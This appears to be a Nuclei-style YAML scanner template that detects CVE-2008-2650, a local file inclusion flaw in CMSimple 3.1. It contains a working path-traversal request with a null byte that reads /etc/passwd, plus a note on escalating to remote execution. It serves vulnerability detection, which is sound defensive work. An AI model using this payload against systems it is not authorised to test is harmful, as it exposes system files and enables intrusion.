id: CVE-2008-2650 info: name: CMSimple 3.1 - Local File Inclusion author: pussycat0x severity: high description: | Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number. reference: https://www.exploit-db.com/exploits/5700 tags: cve,cve2008,lfi requests: - raw: - | GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" part: body